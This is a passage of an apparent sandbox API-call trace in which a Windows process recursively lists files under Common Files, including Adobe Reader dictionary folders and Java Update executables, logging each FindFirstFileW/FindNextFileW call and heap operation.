ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Info.plist", cAlternateFileName="INFO~1.PLI")) returned 1 [0266.299] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x21c, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.X.manifest", cAlternateFileName="PLUGIN~1.MAN")) returned 1 [0266.299] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 1 [0266.299] GetProcessHeap () returned 0xc10000 [0266.299] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0266.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0266.300] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.300] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_CA", cAlternateFileName="")) returned 1 [0266.301] GetProcessHeap () returned 0xc10000 [0266.301] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_CA\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.301] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.301] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="added.txt", cAlternateFileName="")) returned 1 [0266.301] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="excluded.txt", cAlternateFileName="")) returned 1 [0266.301] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="excluded.txt", cAlternateFileName="")) returned 0 [0266.301] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.301] GetProcessHeap () returned 0xc10000 [0266.301] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.301] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0266.302] GetProcessHeap () returned 0xc10000 [0266.302] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_GB\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.303] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="added.txt", cAlternateFileName="")) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="excluded.txt", cAlternateFileName="")) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x0, dwReserved1=0x0, cFileName="excluded.txt", cAlternateFileName="")) returned 0 [0266.303] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.303] GetProcessHeap () returned 0xc10000 [0266.303] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0266.303] GetProcessHeap () returned 0xc10000 [0266.303] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0266.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\Providers\\Plugins2\\AdobeHunspellPlugin\\SupplementalDictionaries\\en_US\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0266.304] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.304] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x84f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Added.txt", cAlternateFileName="")) returned 1 [0266.304] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excluded.txt", cAlternateFileName="")) returned 1 [0266.304] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excluded.txt", cAlternateFileName="")) returned 0 [0266.304] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0266.304] GetProcessHeap () returned 0xc10000 [0266.304] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0266.304] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0 [0266.305] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0266.305] GetProcessHeap () returned 0xc10000 [0266.305] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0266.305] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 0 [0266.305] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0266.305] GetProcessHeap () returned 0xc10000 [0266.305] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0266.306] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 0 [0266.306] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0266.306] GetProcessHeap () returned 0xc10000 [0266.306] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0266.306] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Plugins2", cAlternateFileName="")) returned 0 [0266.307] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.307] GetProcessHeap () returned 0xc10000 [0266.307] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0266.307] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0266.307] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.307] GetProcessHeap () returned 0xc10000 [0266.307] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.308] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0266.308] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0266.309] GetProcessHeap () returned 0xc10000 [0266.309] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.309] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0266.309] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0266.309] GetProcessHeap () returned 0xc10000 [0266.309] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.310] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 0 [0266.310] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0266.310] GetProcessHeap () returned 0xc10000 [0266.310] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0266.310] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0266.311] GetProcessHeap () returned 0xc10000 [0266.311] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0266.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0266.312] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.312] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0266.312] GetProcessHeap () returned 0xc10000 [0266.312] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0266.313] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.313] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eeb0b00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9eeb0b00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x68a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0266.313] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909cef00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x909cef00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0xe2218, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0266.313] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0266.313] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, 